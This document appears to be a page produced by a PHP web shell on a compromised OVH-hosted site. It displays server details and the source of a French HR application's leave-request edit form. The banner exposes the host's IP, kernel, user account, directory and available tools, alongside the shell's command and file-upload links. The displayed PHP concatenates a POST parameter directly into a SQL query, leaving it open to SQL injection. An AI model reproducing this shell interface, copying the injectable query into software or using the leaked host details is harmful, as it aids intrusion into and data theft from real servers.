|
Server IP : 10.128.40.6 / Your IP : 216.73.216.233 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/logmcpe/www/TMCPRO/pages/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
// echo "yassin <br/>" ;
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;
// echo "<pre>" ;
// print_r($_POST) ;
// echo "</pre>" ;
$red= dbi_fetch_row(dbi_query("SELECT * FROM salarie_demande_cong where salarie_demande_cong_id = ".$_POST['rowid'])) ;
?>
<div class="modal-header task-single-header" data-task-single-id="5" data-status="4">
<h4 class="modal-title">Modifier les dates de congé <?php echo $prestationid ;?></h4>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<form method="POST" action="" >
<div class="card-body">
<!-- ///////Ligne société & Catégorie -->
<!-- ///////Ligne -->
<div class="form-row">
<div class="form-group col-md-5">
<label>Du</label>
<div class="input-group">
<div class="input-group-prepend">
<span class="input-group-text"><i class="far fa-calendar-alt"></i></span>
</div>
<input type="date" class="form-control" data-inputmask-alias="datetime" data-inputmask-inputformat="dd/mm/yyyy" data-mask name="salarie_absence_date_debut" <?php if(!empty($red['salarie_absence_date_debut']) ) echo "value=".int2date_autre_format($red['salarie_absence_date_debut']) ;?> placeholder="jj/mm/aaaa">
</div>
</div>
<?php// $chantier_fin = int2date_autre_format($red['chantier_fin']) ; ?>
<div class="form-group col-md-5">
<label>Au</label>
<div class="input-group">
<div class="input-group-prepend">
<span class="input-group-text"><i class="far fa-calendar-alt"></i></span>
</div>
<input type="date" class="form-control" data-inputmask-alias="datetime" data-inputmask-inputformat="dd/mm/yyyy" data-mask name="salarie_absence_date_fin" <?php if(($red['salarie_absence_date_fin'])!= 00000000) echo "value=".int2date_autre_format($red['salarie_absence_date_fin']) ;?> placeholder="jj/mm/aaaa" >
</div>
</div>
<input type="hidden" name="salarie_demande_cong_id" value="<?=$red['salarie_demande_cong_id'] ?>">
</div>
<input type="hidden" name="modifier_demande" value="modifier_demande">
</div>
<div class="modal-footer justify-content-between">
<button type="submit" name="submitbtn" class="btn btn-primary">Enregistrer</button>
<button style="width=10px;" type="button" class="btn btn-danger" data-dismiss="modal">Fermer</button>
</div>
</form>
</div>
<script>
$(document).ready(function() {
$('.js-example-basic-single').select2();
});
$(function () {
$("#tables").DataTable();
$('#example').DataTable({
"paging": true,
"lengthChange": false,
"searching": false,
"ordering": false,
"info": true,
"autoWidth": false
});
});
// $("#product").change( function() {
// alert($("#product").val());
// });
$(document).ready(function () {
var counter = 0;
$("#product").on("change", function (e) {
var id = $("#product").val()
var name = $('#product').find(":selected").text();
var newRow = $("<tr>");
var cols = "";
cols += '<td><input type="hidden" class="form-control" value="'+id+'"" readonly name="product[]"/><p>'+name+'</p></td>';
cols += '<td><input type="number" class="form-control" value="1" name="quantity[]"/></td>';
cols += '<td><span style="cursor:pointer;"><i id="ibtnDel" name="ibtnDel" class="ibtnDel fa fa-trash"></i></span></td>';
newRow.append(cols);
$("table.order-list").append(newRow);
counter++;
$("#product").select2("close");
});
$("table.order-list").on("click", ".ibtnDel", function (event) {
$(this).closest("tr").remove();
counter -= 1
});
});
function calculateRow(row) {
var price = +row.find('input[name^="price"]').val();
}
function calculateGrandTotal() {
var grandTotal = 0;
$("table.order-list").find('input[name^="price"]').each(function () {
grandTotal += +$(this).val();
});
$("#grandtotal").text(grandTotal.toFixed(2));
}
//$('#product').selectize('option');
</script>
<script src="../../plugins/bs-custom-file-input/bs-custom-file-input.min.js"></script>
<script type="text/javascript">
$(document).ready(function () {
bsCustomFileInput.init();
});
</script>
